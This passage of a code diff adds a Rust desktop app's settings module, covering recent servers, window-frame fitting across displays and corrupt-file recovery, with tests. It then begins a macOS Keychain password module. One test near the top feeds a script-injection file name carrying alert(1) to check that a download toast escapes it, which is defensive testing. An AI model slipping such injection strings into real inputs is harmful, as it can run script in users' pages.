let shown = format!("<code id=\"oneliner\">{}</code>", crate::setup::INSTALL_ONE_LINER);
assert!(page.contains(&shown), "{shown}");
}
#[test]
fn toast_escapes_file_names() {
let js = download_toast_script("a\"); alert(1); (\".txt", true);
assert!(js.contains(r#"Downloaded a\"); alert(1); (\".txt to Downloads"#));
}
}
+822
View File
@@ -0,0 +1,822 @@
//! The app's own settings: recent servers, two preferences and the window
//! frame. Stored as JSON next to other per-app data
//! (`~/Library/Application Support/Codeman/desktop.json` on macOS). Passwords
//! never go here; they live in the Keychain (see `credentials`).
use serde::{Deserialize, Serialize};
use std::fs;
use std::io;
use std::path::{Path, PathBuf};
const MAX_SERVERS: usize = 8;
/// How many recovery copies of an unreadable config can sit side by side:
/// `desktop.json.corrupt`, then `desktop.json.corrupt.1` to `.9`.
const ASIDE_SLOTS: usize = 10;
const MIN_WIDTH: f64 = 480.0;
const MIN_HEIGHT: f64 = 360.0;
const MAX_EDGE: f64 = 20_000.0;
/// Height of a standard title bar, in points.
const TITLE_BAR: f64 = 28.0;
/// How far the outer top of the window lies above `WindowFrame::y`. On macOS
/// `y` is the content area's top (tao's `with_position` puts the content rect
/// there and the title bar above it); elsewhere `y` is already the outer top.
const TITLE_ABOVE_Y: f64 = if cfg!(target_os = "macos") { TITLE_BAR } else { 0.0 };
/// How much of the title bar must be on a screen to grab it.
const MIN_GRIP: f64 = 80.0;
/// Room `fitted_to` leaves when it shrinks a window. Screens are full display
/// bounds, so the menu bar and the Dock are inside them.
const FIT_MARGIN_X: f64 = 40.0;
const FIT_MARGIN_Y: f64 = 80.0;
/// Room a first-run window leaves above its content (the menu bar, taller on
/// a display with a notch, and its own title bar) and below it (a Dock of the
/// default size): `Rect` is the whole display, so neither is taken off yet.
const FIRST_RUN_ROOM_ABOVE: f64 = 66.0;
const FIRST_RUN_ROOM_BELOW: f64 = 90.0;
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
#[serde(default, rename_all = "camelCase")]
pub struct Config {
/// Most recent first.
pub servers: Vec<ServerEntry>,
/// Connect to the most recent server at launch.
pub auto_connect: bool,
/// Always open in full screen (otherwise the last state is restored).
pub start_fullscreen: bool,
/// Anything that is not a whole frame reads as None: a bad frame must not
/// make the whole file unreadable, which would cost the server list.
#[serde(deserialize_with = "lenient_window")]
pub window: Option<WindowFrame>,
}
fn lenient_window<'de, D: serde::Deserializer<'de>>(d: D) -> Result<Option<WindowFrame>, D::Error> {
let value = serde_json::Value::deserialize(d)?;
Ok(serde_json::from_value(value).ok())
}
impl Default for Config {
fn default() -> Self {
Config {
servers: Vec::new(),
auto_connect: true,
start_fullscreen: false,
window: None,
}
}
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase")]
pub struct ServerEntry {
pub url: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
#[serde(default)]
pub has_saved_password: bool,
}
/// The main window's position and inner size, in logical (point)
/// coordinates. `x`/`y` are where tao's `with_position` wants them: on macOS
/// the top-left of the CONTENT area (the title bar, about 28 pt, sits above
/// it), elsewhere the window's outer top-left. Saving the outer corner on
/// macOS and restoring it as the content corner made the window creep up by
/// a title bar on every launch.
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase")]
pub struct WindowFrame {
pub x: f64,
pub y: f64,
pub width: f64,
pub height: f64,
#[serde(default)]
pub fullscreen: bool,
}
/// A display's full bounds in logical coordinates, as tao reports them. This
/// is the whole display, not the work area: the menu bar and the Dock are
/// inside it.
#[derive(Debug, Clone, Copy)]
pub struct Rect {
pub x: f64,
pub y: f64,
pub width: f64,
pub height: f64,
}
impl WindowFrame {
/// The frame of a first-run window on `screen`: `size` or what fits, never
/// less than `min`, centred across and in the height between the menu bar
/// and the Dock. Centring in the whole display put the bottom of a window
/// under the Dock on a 900 pt high one.
pub fn first_run(screen: &Rect, size: (f64, f64), min: (f64, f64)) -> WindowFrame {
let width = size.0.min(screen.width - FIT_MARGIN_X).max(min.0);
let room = screen.height - FIRST_RUN_ROOM_ABOVE - FIRST_RUN_ROOM_BELOW;
let height = size.1.min(room).max(min.1);
WindowFrame {
x: screen.x + (screen.width - width) / 2.0,
y: screen.y + FIRST_RUN_ROOM_ABOVE + ((room - height) / 2.0).max(0.0),
width,
height,
fullscreen: false,
}
}
/// The frame clamped to sane sizes, or None when it holds junk.
pub fn sanitized(self) -> Option<WindowFrame> {
let vals = [self.x, self.y, self.width, self.height];
if vals.iter().any(|v| !v.is_finite()) || self.x.abs() > MAX_EDGE || self.y.abs() > MAX_EDGE {
return None;
}
Some(WindowFrame {
width: self.width.clamp(MIN_WIDTH, MAX_EDGE),
height: self.height.clamp(MIN_HEIGHT, MAX_EDGE),
..self
})
}
/// The frame made to fit the screens it will open on, or None when its
/// title bar is on none of them (the caller then falls back to a default
/// frame). An edge that no screen covers is pulled onto the screen that
/// holds the title bar, shrinking the window when it is too big for it:
/// a frame saved on an external display that is gone would otherwise
/// open with its right edge and resize corner far off screen. An edge
/// that lands on some screen stays put, so a window spanning two
/// displays keeps its span. `min` is the window's minimum inner size.
pub fn fitted_to(&self, screens: &[Rect], min: (f64, f64)) -> Option<WindowFrame> {
let home = *self.title_screen(screens)?;
let top = self.outer_top();
let outer_height = TITLE_BAR + self.height;
let (x, width) = fit_axis(
self.x,
self.width,
(
covers_x(screens, self.x, top, top + outer_height),
covers_x(screens, self.x + self.width, top, top + outer_height),
),
(home.x, home.x + home.width),
FIT_MARGIN_X,
min.0,
);
let (top, outer_height) = fit_axis(
top,
outer_height,
(
covers_y(screens, top, x, x + width),
covers_y(screens, top + outer_height, x, x + width),
),
(home.y, home.y + home.height),
FIT_MARGIN_Y - TITLE_BAR,
min.1 + TITLE_BAR,
);
Some(WindowFrame {
x,
y: top + TITLE_ABOVE_Y,
width,
height: outer_height - TITLE_BAR,
..*self
})
}
fn outer_top(&self) -> f64 {
self.y - TITLE_ABOVE_Y
}
/// The screen the title bar is on, or None when no screen has enough of
/// it to grab (a display unplugged since the last run leaves the frame off
/// screen). The middle of the title bar must be inside the screen and at
/// least `MIN_GRIP` of the bar's width must overlap it; when several
/// qualify, the one holding most of the bar wins.
fn title_screen<'a>(&self, screens: &'a [Rect]) -> Option<&'a Rect> {
let title_y = self.outer_top() + TITLE_BAR / 2.0;
screens
.iter()
.filter(|m| title_y >= m.y && title_y <= m.y + m.height)
.map(|m| {
let grip = (self.x + self.width).min(m.x + m.width) - self.x.max(m.x);
(m, grip)
})
.filter(|(_, grip)| *grip >= MIN_GRIP)
.max_by(|a, b| a.1.total_cmp(&b.1))
.map(|(m, _)| m)
}
}
/// Whether some screen holds part of the vertical edge at `x` that runs from
/// `top` to `bottom`.
fn covers_x(screens: &[Rect], x: f64, top: f64, bottom: f64) -> bool {
screens
.iter()
.any(|m| x >= m.x && x <= m.x + m.width && top < m.y + m.height && bottom > m.y)
}
/// Whether some screen holds part of the horizontal edge at `y` that runs
/// from `left` to `right`.
fn covers_y(screens: &[Rect], y: f64, left: f64, right: f64) -> bool {
screens
.iter()
.any(|m| y >= m.y && y <= m.y + m.height && left < m.x + m.width && right > m.x)
}
/// One axis of `WindowFrame::fitted_to`. The window runs from `start` for
/// `len`; `covered` says whether some screen holds each end; `home` is the
/// title bar screen's range on this axis. An uncovered end is pulled onto
/// `home`, and the window shrinks (leaving `margin`, never below `min`) when
/// it does not fit; a covered end may stay where it is, on another display.
fn fit_axis(start: f64, len: f64, covered: (bool, bool), home: (f64, f64), margin: f64, min: f64) -> (f64, f64) {
if covered.0 && covered.1 {
return (start, len);
}
let lo = if covered.0 { start.min(home.0) } else { home.0 };
let hi = if covered.1 { (start + len).max(home.1) } else { home.1 };
let len = len.min(hi - lo - margin).max(min);
// `max` last: a window still too big for the screen keeps its start (the
// left edge, or the title bar) on screen rather than its end.
let start = start.min(hi - len).max(lo);
(start, len)
}
/// The first name an unreadable `desktop.json` can be moved to without
/// replacing an earlier recovery copy: `desktop.json.corrupt`, then
/// `desktop.json.corrupt.1` to `.9`, next to it.
/// A name is free only when nothing at all is there: a file, a directory or
/// a dangling symlink left at it is taken, and so is a name that cannot be
/// checked. None when every name is taken.
fn free_aside_name(path: &Path) -> Option<PathBuf> {
(0..ASIDE_SLOTS)
.map(|n| match n {
0 => path.with_extension("json.corrupt"),
n => path.with_extension(format!("json.corrupt.{n}")),
})
.find(|aside| matches!(fs::symlink_metadata(aside), Err(e) if e.kind() == io::ErrorKind::NotFound))
}
impl Config {
/// Where the config lives, or None if the OS has no config directory.
pub fn default_path() -> Option<PathBuf> {
dirs::config_dir().map(|d| d.join("Codeman").join("desktop.json"))
}
/// Read the config, and say whether saving back to `path` is safe this
/// run. A missing file is the default. A file that is there but cannot
/// be read (not UTF-8, no permission, a directory, an I/O error) or does
/// not parse is moved aside for recovery, and the defaults are used; it
/// is never silently overwritten with them. It goes to the first free
/// name of `desktop.json.corrupt`, `desktop.json.corrupt.1` to `.9`, so
/// a second unreadable file never replaces the copy kept from the first.
/// If every name is taken or the move fails, the answer is false: the
/// original is still at `path`, and the save at exit must not replace it.
pub fn load_from(path: &Path) -> (Config, bool) {
let text = match fs::read_to_string(path) {
Ok(text) => Some(text),
Err(e) if e.kind() == io::ErrorKind::NotFound => return (Config::default(), true),
Err(_) => None,
};
if let Some(mut config) = text.and_then(|t| serde_json::from_str::<Config>(&t).ok()) {
config.sanitize();
return (config, true);
}
let Some(aside) = free_aside_name(path) else {
eprintln!(
"codeman-desktop: {} could not be read, and {} to .{} are all taken; settings will not be saved this run",
path.display(),
path.with_extension("json.corrupt").display(),
ASIDE_SLOTS - 1
);
return (Config::default(), false);
};
match fs::rename(path, &aside) {
Ok(()) => {
eprintln!(
"codeman-desktop: {} could not be read; moved it to {} and started with defaults",
path.display(),
aside.display()
);
(Config::default(), true)
}
Err(e) => {
eprintln!(
"codeman-desktop: {} could not be read or moved aside ({e}); settings will not be saved this run",
path.display()
);
(Config::default(), false)
}
}
}
/// Write via a temp file and rename, so a crash never leaves half a file.
pub fn save_to(&self, path: &Path) -> io::Result<()> {
if let Some(dir) = path.parent() {
fs::create_dir_all(dir)?;
}
let tmp = path.with_extension("json.tmp");
let text = serde_json::to_string_pretty(self).map_err(io::Error::other)?;
fs::write(&tmp, text)?;
fs::rename(&tmp, path)
}
fn sanitize(&mut self) {
let mut seen = std::collections::HashSet::new();
self.servers.retain(|s| !s.url.is_empty() && seen.insert(s.url.clone()));
self.servers.truncate(MAX_SERVERS);
self.window = self.window.and_then(WindowFrame::sanitized);
}
/// Move (or add) a server to the top of the recent list. Returns the
/// Keychain accounts, as (url, username), of the entries with a username
/// that fall off the end of the list (it keeps `MAX_SERVERS`), for the
/// caller to delete. A different username on `url` itself is not
/// reported: the caller deletes that account before it saves the new
/// one, comparing the names exactly as the Keychain account string
/// does. A delete made after the save could take the new password with
/// it on a Keychain that treats two spellings of a name as one item.
#[must_use = "the returned Keychain accounts must be deleted"]
pub fn remember(&mut self, url: &str, username: Option<&str>, saved: bool) -> Vec<(String, String)> {
self.servers.retain(|s| s.url != url);
self.servers.insert(
0,
ServerEntry {
url: url.to_string(),
username: username.map(str::to_string),
has_saved_password: saved,
},
);
let evicted = self.servers.split_off(self.servers.len().min(MAX_SERVERS));
evicted.into_iter().filter_map(|s| Some((s.url, s.username?))).collect()
}
pub fn forget(&mut self, url: &str) -> Option<ServerEntry> {
let idx = self.servers.iter().position(|s| s.url == url)?;
Some(self.servers.remove(idx))
}
pub fn find(&self, url: &str) -> Option<&ServerEntry> {
self.servers.iter().find(|s| s.url == url)
}
}
#[cfg(test)]
mod tests {
use super::*;
fn tmp_dir(name: &str) -> PathBuf {
let dir = std::env::temp_dir().join(format!("codeman-desktop-test-{}-{name}", std::process::id()));
let _ = fs::remove_dir_all(&dir);
dir
}
fn frame(x: f64, y: f64, width: f64, height: f64) -> WindowFrame {
WindowFrame {
x,
y,
width,
height,
fullscreen: false,
}
}
fn rect(x: f64, y: f64, width: f64, height: f64) -> Rect {
Rect { x, y, width, height }
}
const MIN: (f64, f64) = (MIN_WIDTH, MIN_HEIGHT);
fn reachable(f: &WindowFrame, screens: &[Rect]) -> bool {
f.title_screen(screens).is_some()
}
/// The outer frame (title bar included) as left, top, right, bottom.
fn outer(f: &WindowFrame) -> (f64, f64, f64, f64) {
let top = f.y - TITLE_ABOVE_Y;
(f.x, top, f.x + f.width, top + TITLE_BAR + f.height)
}
#[test]
fn missing_file_is_default() {
let dir = tmp_dir("missing");
let (c, can_save) = Config::load_from(&dir.join("desktop.json"));
assert_eq!(c, Config::default());
assert!(c.auto_connect);
assert!(can_save);
}
#[test]
fn round_trip_and_atomic_save() {
let dir = tmp_dir("roundtrip");
let path = dir.join("nested").join("desktop.json");
let mut c = Config::default();
assert!(c.remember("http://127.0.0.1:3000/", None, false).is_empty());
assert!(c.remember("https://box.ts.net/", Some("admin"), true).is_empty());
c.start_fullscreen = true;
c.window = Some(WindowFrame {
x: 10.0,
y: 20.0,
width: 1200.0,
height: 800.0,
fullscreen: true,
});
c.save_to(&path).unwrap();
assert!(!path.with_extension("json.tmp").exists());
let (back, can_save) = Config::load_from(&path);
assert!(can_save);
assert_eq!(back, c);
assert_eq!(back.servers[0].url, "https://box.ts.net/");
let text = fs::read_to_string(&path).unwrap();
assert!(
!text.to_lowercase().contains("password\":\""),
"no password values on disk"
);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn corrupt_file_is_moved_aside() {
let dir = tmp_dir("corrupt");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn non_utf8_file_is_moved_aside() {
let dir = tmp_dir("non-utf8");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
// Valid JSON apart from a Latin-1 "ü", which is not UTF-8.
let bytes = b"{\"servers\":[{\"url\":\"http://a/\",\"username\":\"J\xfcrg\"}]}";
fs::write(&path, bytes).unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
assert_eq!(fs::read(dir.join("desktop.json.corrupt")).unwrap(), bytes);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn unreadable_path_is_moved_aside() {
let dir = tmp_dir("unreadable");
let path = dir.join("desktop.json");
// A directory where the file should be: it exists but cannot be read.
fs::create_dir_all(path.join("inside")).unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").join("inside").is_dir());
c.save_to(&path).unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn second_corruption_keeps_the_first_copy() {
let dir = tmp_dir("corrupt-twice");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ first").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
fs::write(&path, "{ second").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!path.exists());
assert_eq!(fs::read_to_string(dir.join("desktop.json.corrupt")).unwrap(), "{ first");
assert_eq!(
fs::read_to_string(dir.join("desktop.json.corrupt.1")).unwrap(),
"{ second"
);
// A good file written afterwards loads normally and moves nothing.
Config::default().save_to(&path).unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!dir.join("desktop.json.corrupt.2").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn taken_aside_names_are_skipped() {
let dir = tmp_dir("aside-taken");
// A directory left at the first name and a file at the second: the
// third is the first free one.
fs::create_dir_all(dir.join("desktop.json.corrupt")).unwrap();
fs::write(dir.join("desktop.json.corrupt.1"), "kept").unwrap();
#[cfg(unix)]
std::os::unix::fs::symlink(dir.join("nowhere"), dir.join("desktop.json.corrupt.2")).unwrap();
let next = if cfg!(unix) {
"desktop.json.corrupt.3"
} else {
"desktop.json.corrupt.2"
};
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").is_dir());
assert_eq!(fs::read_to_string(dir.join("desktop.json.corrupt.1")).unwrap(), "kept");
// The dangling symlink still points nowhere and still counts as taken.
#[cfg(unix)]
assert!(fs::symlink_metadata(dir.join("desktop.json.corrupt.2"))
.unwrap()
.is_symlink());
assert_eq!(fs::read_to_string(dir.join(next)).unwrap(), "{ not json");
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn no_free_aside_name_disables_saving() {
let dir = tmp_dir("aside-full");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
let names: Vec<PathBuf> = std::iter::once(dir.join("desktop.json.corrupt"))
.chain((1..ASIDE_SLOTS).map(|n| dir.join(format!("desktop.json.corrupt.{n}"))))
.collect();
assert_eq!(names.len(), 10);
for (n, name) in names.iter().enumerate() {
fs::write(name, format!("copy {n}")).unwrap();
}
fs::write(&path, "{ not json").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), false));
assert_eq!(fs::read_to_string(&path).unwrap(), "{ not json");
for (n, name) in names.iter().enumerate() {
assert_eq!(fs::read_to_string(name).unwrap(), format!("copy {n}"));
}
assert!(!dir.join("desktop.json.corrupt.10").exists());
let _ = fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn failed_move_aside_disables_saving() {
use std::os::unix::fs::PermissionsExt;
let dir = tmp_dir("stuck");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
fs::set_permissions(&dir, fs::Permissions::from_mode(0o555)).unwrap();
// Root ignores the read-only directory, so the rename cannot fail.
if fs::write(dir.join("probe"), "").is_ok() {
eprintln!("skipped: the directory is still writable (running as root?)");
fs::set_permissions(&dir, fs::Permissions::from_mode(0o755)).unwrap();
let _ = fs::remove_dir_all(&dir);
return;
}
let (c, can_save) = Config::load_from(&path);
fs::set_permissions(&dir, fs::Permissions::from_mode(0o755)).unwrap();
assert_eq!(c, Config::default());
assert!(!can_save);
assert_eq!(fs::read_to_string(&path).unwrap(), "{ not json");
assert!(!dir.join("desktop.json.corrupt").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn recent_list_is_deduped_and_capped() {
let mut c = Config::default();
for i in 0..12 {
assert!(c.remember(&format!("http://h{i}/"), None, false).is_empty());
}
assert!(c.remember("http://h5/", Some("me"), false).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
assert_eq!(c.servers[0].url, "http://h5/");
assert_eq!(c.servers.iter().filter(|s| s.url == "http://h5/").count(), 1);
assert_eq!(c.forget("http://h5/").unwrap().username.as_deref(), Some("me"));
assert!(c.find("http://h5/").is_none());
}
#[test]
fn remember_leaves_a_username_change_to_the_caller() {
let url = "https://box.ts.net/";
let mut c = Config::default();
assert!(c.remember(url, Some("Alice"), true).is_empty());
// Every change of the username on the same server, a case-only one,
// another user, or none at all, returns nothing: the caller deletes
// the old account before it saves the new one.
for (user, saved) in [
(Some("alice"), true),
(Some(" alice "), true),
(Some("bob"), true),
(None, false),
(None, false),
(Some("dave"), true),
] {
assert!(c.remember(url, user, saved).is_empty(), "{user:?}");
let entry = c.find(url).unwrap();
assert_eq!((entry.username.as_deref(), entry.has_saved_password), (user, saved));
assert_eq!(c.servers.iter().filter(|s| s.url == url).count(), 1);
}
assert!(c.remember("http://other/", Some("carol"), true).is_empty());
assert!(c.remember(url, Some("erin"), true).is_empty());
assert_eq!(c.servers.len(), 2);
assert_eq!(c.servers[0].url, url);
assert_eq!(c.find("http://other/").unwrap().username.as_deref(), Some("carol"));
}
#[test]
fn remember_returns_evicted_accounts() {
let mut c = Config::default();
for i in 0..MAX_SERVERS {
let user = (i % 2 == 0).then(|| format!("u{i}"));
assert!(c.remember(&format!("http://h{i}/"), user.as_deref(), true).is_empty());
}
// Moving a listed server to the top evicts nothing.
assert!(c.remember("http://h3/", None, false).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
// A new server pushes the oldest (h0, with a username) off the end.
assert_eq!(
c.remember("http://new/", None, false),
vec![("http://h0/".to_string(), "u0".to_string())]
);
// The next oldest is h1, which has no username: nothing to delete.
assert!(c.remember("http://newer/", Some("x"), true).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
assert!(c.find("http://h0/").is_none() && c.find("http://h1/").is_none());
// A username change on a listed server returns nothing; the next new
// server evicts the oldest entry, and only that account comes back.
let mut c = Config::default();
for i in 0..MAX_SERVERS {
assert!(c.remember(&format!("http://h{i}/"), Some("u"), true).is_empty());
}
assert!(c.remember("http://h7/", Some("v"), true).is_empty());
assert_eq!(
c.remember("http://h8/", Some("w"), true),
vec![("http://h0/".to_string(), "u".to_string())]
);
assert_eq!(c.find("http://h7/").unwrap().username.as_deref(), Some("v"));
assert_eq!(c.servers.len(), MAX_SERVERS);
}
#[test]
fn unknown_and_missing_fields_tolerated() {
let c: Config = serde_json::from_str(r#"{"servers":[{"url":"http://a/"}],"future":1}"#).unwrap();
assert!(c.auto_connect);
assert_eq!(c.servers[0].username, None);
}
#[test]
fn a_bad_window_frame_keeps_the_servers() {
for (name, window) in [
("missing-height", r#"{"x":1,"y":2,"width":3}"#),
("not-a-frame", r#""maximized""#),
("null-number", r#"{"x":null,"y":2,"width":3,"height":4}"#),
] {
let dir = tmp_dir(&format!("bad-window-{name}"));
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(
&path,
format!(r#"{{"servers":[{{"url":"http://a/"}}],"autoConnect":false,"window":{window}}}"#),
)
.unwrap();
let (c, can_save) = Config::load_from(&path);
assert!(can_save, "{name}");
assert_eq!(c.servers.len(), 1, "{name}");
assert!(!c.auto_connect, "{name}");
assert_eq!(c.window, None, "{name}");
// The file was read, so it stays where it is.
assert!(path.is_file(), "{name}");
assert!(!path.with_extension("json.corrupt").exists(), "{name}");
}
// A whole frame and an absent one read as before.
let c: Config =
serde_json::from_str(r#"{"window":{"x":1,"y":2,"width":900,"height":600,"fullscreen":true}}"#).unwrap();
assert_eq!(c.window.map(|f| (f.width, f.fullscreen)), Some((900.0, true)));
assert_eq!(serde_json::from_str::<Config>("{}").unwrap().window, None);
assert_eq!(
serde_json::from_str::<Config>(r#"{"window":null}"#).unwrap().window,
None
);
}
#[test]
fn first_run_window_sits_between_the_menu_bar_and_the_dock() {
let screen = |width: f64, height: f64| Rect {
x: 0.0,
y: 0.0,
width,
height,
};
let size = (1280.0, 820.0);
let min = (480.0, 360.0);
// A 13 inch MacBook: the window is shortened, and ends above the Dock.
let f = WindowFrame::first_run(&screen(1440.0, 900.0), size, min);
assert_eq!((f.width, f.height), (1280.0, 744.0));
assert_eq!((f.x, f.y), (80.0, 66.0));
assert!(f.y + f.height <= 900.0 - 90.0);
// A large display: the full size, centred across and in the free height.
let f = WindowFrame::first_run(&screen(2560.0, 1440.0), size, min);
assert_eq!((f.width, f.height), (1280.0, 820.0));
assert_eq!(f.x, 640.0);
assert_eq!(f.y - 66.0, 1440.0 - 90.0 - (f.y + f.height));
// A second display to the left of the first.
let left = Rect {
x: -1920.0,
y: 120.0,
width: 1920.0,
height: 1080.0,
};
let f = WindowFrame::first_run(&left, size, min);
assert_eq!(f.x, -1920.0 + 320.0);
assert!(f.y >= 120.0 + 66.0 && f.y + f.height <= 120.0 + 1080.0 - 90.0);
// Never smaller than the minimum, on a display too small for it too.
let f = WindowFrame::first_run(&screen(500.0, 400.0), size, min);
assert_eq!((f.width, f.height), min);
assert!(!f.fullscreen);
}
#[test]
fn frame_sanitizing_and_reachability() {
assert!(frame(f64::NAN, 0.0, 800.0, 600.0).sanitized().is_none());
let small = frame(0.0, 0.0, 10.0, 10.0).sanitized().unwrap();
assert_eq!((small.width, small.height), (MIN_WIDTH, MIN_HEIGHT));
let screen = [rect(0.0, 0.0, 1512.0, 982.0)];
let on = frame(100.0, 50.0, 1200.0, 800.0);
assert!(reachable(&on, &screen));
assert_eq!(on.fitted_to(&screen, MIN), Some(on));
let off = frame(3000.0, 50.0, 1200.0, 800.0);
assert!(!reachable(&off, &screen));
assert_eq!(off.fitted_to(&screen, MIN), None);
let above = frame(100.0, -900.0, 1200.0, 800.0);
assert!(!reachable(&above, &screen));
assert_eq!(above.fitted_to(&screen, MIN), None);
// Only a sliver of the title bar on screen is not enough to grab.
let sliver = frame(-1150.0, 50.0, 1200.0, 800.0);
assert!(!reachable(&sliver, &screen));
assert_eq!(sliver.fitted_to(&screen, MIN), None);
// No screens at all (none reported): nothing is reachable.
assert_eq!(on.fitted_to(&[], MIN), None);
}
#[test]
fn title_bar_is_above_y_on_macos() {
let screen = [rect(0.0, 0.0, 1512.0, 982.0)];
// On macOS the title bar of a content top at y = 10 is at -18..10,
// mostly above the screen; elsewhere it is at 10..38.
let high = frame(100.0, 10.0, 1200.0, 800.0);
assert_eq!(reachable(&high, &screen), !cfg!(target_os = "macos"));
// Half the bar above the top edge: still grabbable, and fitting
// brings all of it onto the screen.
let straddling = frame(100.0, TITLE_ABOVE_Y - 10.0, 1200.0, 800.0);
assert!(reachable(&straddling, &screen));
let fitted = straddling.fitted_to(&screen, MIN).unwrap();
assert_eq!(outer(&fitted).1, 0.0);
assert_eq!((fitted.x, fitted.width, fitted.height), (100.0, 1200.0, 800.0));
}
#[test]
fn frame_from_an_unplugged_ultrawide_is_fitted() {
// Saved on a 3440x1440 display at the origin, restored on a laptop.
let laptop = [rect(0.0, 0.0, 1512.0, 982.0)];
let wide = frame(0.0, 30.0, 3300.0, 1300.0);
let fitted = wide.fitted_to(&laptop, MIN).unwrap();
assert_eq!(
(fitted.x, fitted.y, fitted.width, fitted.height),
(0.0, 30.0, 1512.0 - FIT_MARGIN_X, 982.0 - FIT_MARGIN_Y)
);
let (left, top, right, bottom) = outer(&fitted);
assert!(left >= 0.0 && top >= 0.0 && right <= 1512.0 && bottom <= 982.0);
// Hanging off the right of the laptop by a bit: shifted, not shrunk.
let fitted = frame(500.0, 100.0, 1200.0, 700.0).fitted_to(&laptop, MIN).unwrap();
assert_eq!(
(fitted.x, fitted.y, fitted.width, fitted.height),
(312.0, 100.0, 1200.0, 700.0)
);
// Hanging off the left: shifted right.
let fitted = frame(-1000.0, 100.0, 1200.0, 700.0).fitted_to(&laptop, MIN).unwrap();
assert_eq!((fitted.x, fitted.width), (0.0, 1200.0));
}
#[test]
fn frame_spanning_two_displays_is_left_alone() {
let screens = [rect(0.0, 0.0, 1512.0, 982.0), rect(1512.0, -200.0, 2560.0, 1440.0)];
let span = frame(1000.0, 100.0, 1500.0, 700.0);
assert_eq!(span.fitted_to(&screens, MIN), Some(span));
// Only the edge that lands on no display moves: the left edge stays
// on the laptop, the right edge comes back onto the external one.
let past = frame(1000.0, 100.0, 3500.0, 700.0);
let fitted = past.fitted_to(&screens, MIN).unwrap();
assert_eq!(fitted.x, 1000.0);
assert_eq!(fitted.x + fitted.width, 1512.0 + 2560.0 - FIT_MARGIN_X);
assert_eq!((fitted.y, fitted.height), (100.0, 700.0));
}
#[test]
fn fitted_frame_keeps_the_minimum_size() {
let tiny = [rect(0.0, 0.0, 400.0, 300.0)];
let fitted = frame(0.0, 40.0, 1200.0, 800.0).fitted_to(&tiny, MIN).unwrap();
assert_eq!((fitted.width, fitted.height), MIN);
// Too big for the screen even at the minimum: the left edge and the
// title bar stay on it.
let (left, top, _, _) = outer(&fitted);
assert_eq!((left, top), (0.0, 0.0));
assert!(reachable(&fitted, &tiny));
// The fullscreen flag rides along.
let full = WindowFrame {
fullscreen: true,
..frame(0.0, 40.0, 1200.0, 800.0)
};
assert!(full.fitted_to(&tiny, MIN).unwrap().fullscreen);
}
}
+354
View File
@@ -0,0 +1,354 @@
//! Saved passwords, in the macOS Keychain (service "Codeman Desktop", one item
//! per username + server). Nothing secret is ever written to the config file.
//! Windows and Linux get their stores when those builds land.
//!
//! Every Keychain call runs on ONE long-lived worker thread, never on the
//! event loop: any of them can bring up the system's access prompt (an
//! ad-hoc build's items name the previous build), and the window must keep
//! running while it is up. One serial worker rather than a thread per call,
//! because jobs must run in the order they were asked for: a delete from
//! Forget that ran after a later save of the same account would remove the
//! password that was just saved.
use std::sync::mpsc::{self, Receiver, Sender};
use std::thread::{self, JoinHandle};
pub const SERVICE: &str = "Codeman Desktop";
/// What a job reports when the worker thread is gone.
const WORKER_GONE: &str = "The Keychain could not be reached.";
/// The Keychain account name for a username on a server.
pub fn account(server_url: &str, username: &str) -> String {
format!("{username} @ {server_url}")
}
/// The password store the worker runs jobs against: the Keychain on macOS,
/// a stub elsewhere, an in-memory map in the tests.
trait Backend: Send {
fn load(&mut self, account: &str) -> Option<String>;
fn save(&mut self, account: &str, password: &str) -> Result<(), String>;
fn delete(&mut self, account: &str);
}
enum Job {
Load {
account: String,
reply: Sender<Option<String>>,
},
Save {
account: String,
password: String,
reply: Sender<Result<(), String>>,
},
Delete {
account: String,
},
/// Ends the worker, so the tests can check what callers see after it.
#[cfg(test)]
Stop,
}
/// A handle on the Keychain worker. Start it once with [`Keychain::spawn`]
/// and clone the handle: every clone feeds the same queue, which is what
/// keeps jobs in order. The worker ends when the last handle is dropped.
#[derive(Clone)]
pub struct Keychain {
jobs: Sender<Job>,
}
impl Keychain {
/// Starts the worker. If the thread cannot be started, the handle still
/// works and every call fails soft (no password, save refused).
pub fn spawn() -> Keychain {
start(Box::new(imp::System)).0
}
/// The saved password for an account. Blocks until every job queued
